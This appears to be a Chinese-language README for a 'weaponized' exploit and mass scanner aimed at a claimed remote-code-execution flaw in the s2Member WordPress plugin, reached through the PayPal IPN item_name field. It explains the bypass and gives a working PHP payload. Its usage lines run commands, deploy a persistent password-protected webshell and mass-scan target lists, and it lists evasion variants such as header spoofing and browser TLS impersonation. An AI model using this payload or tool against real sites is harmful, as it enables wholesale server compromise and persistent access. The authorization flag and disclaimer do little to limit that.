针对 CVE-2026-86596 的单文件漏洞利用与批量扫描器,该漏洞是通过 PayPal IPN 的 item_name 参数触发的 s2Member 模板注入 RCE,包含绕过变体与 webshell 部署功能。
CVSS 9.8 | CVE-2026-86596 | 补丁:261001+
针对 s2Member 通过 item_name IPN 参数进行模板注入的单文件武器化漏洞利用工具与扫描器。
$paypal = strip_php_tags_deep($paypal); // Only strips literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg)); // Removes %%x%% -> reassembles <?php
载荷: <%%x%%?php system('id'); ?> → 绕过 strip_php_tags_deep,在占位符清理后重新组装为有效的 <?php。
# Single target RCE
python3 poc.py target.com --cmd "id" --authorized
# Persistent webshell (access: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell
# Full bypass matrix (all variants)
python3 poc.py target.com --cmd "id" --authorized --full-bypass
# Mass scan with recon
python3 poc.py targets.txt --scan --threads 30 --recon
# Scan + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json
| 参数 | 描述 |
|---|---|
--cmd "id" | 要执行的命令(或 shell:pass 用于 webshell) |
--scan | 批量扫描模式(从文件读取目标) |
--exploit | 在扫描期间尝试利用 |
--authorized | 任何利用操作必需 |
--recon | 利用前进行完整侦察 |
--item-number | 指定 item_number(默认:自动发现) |
--proxy-verification | s2member_paypal_proxy_verification 密钥 |
--write-test | 写入测试文件而非执行命令 |
--deploy-shell | 部署持久化 webshell |
--shell-path | Webshell 文件名(默认:shell.php) |
--full-bypass | 尝试所有绕过变体(较慢) |
--no-evasion | 禁用所有绕过尝试 |
--threads N | 扫描线程数(默认:15) |
--output file | 输出 JSON/CSV |
--http-proxy | HTTP(S) 代理 |
--impersonate | TLS 指纹:chrome/firefox/safari/edge |
--insecure | 禁用 TLS 验证 |
--verbose | 详细输出 |
| 层级 | 变体 |
|---|---|
| 载荷 | 10:原始、urlenc、b64、concat、var-func、assert、preg_replace/e、create_function、shortcode、shortcode+b64 |
| 写入 | 4:file_put_contents、fopen/fwrite、shell_exec、b64_decode |
| Shell | 5:eval、system、assert、b64_eval、shortcode |
| 请求 | 5:form、multipart、dup、multipart-dup、JSON |
| 请求头 | 7:XFF 伪造、PayPal referer/origin、IPN 请求头、cluster |
| TLS | 4:chrome、firefox、safari、edge(curl_cffi) |
item_number(受保护的文章/页面 ID)do_shortcode() / [s2If php=...]/root/labv/
├── poc.py # Single weaponized exploit + scanner (384 lines)
├── README.md # This file
└── targets.txt # Example target list
仅限授权测试。 --authorized 标志用于确认已获得书面许可。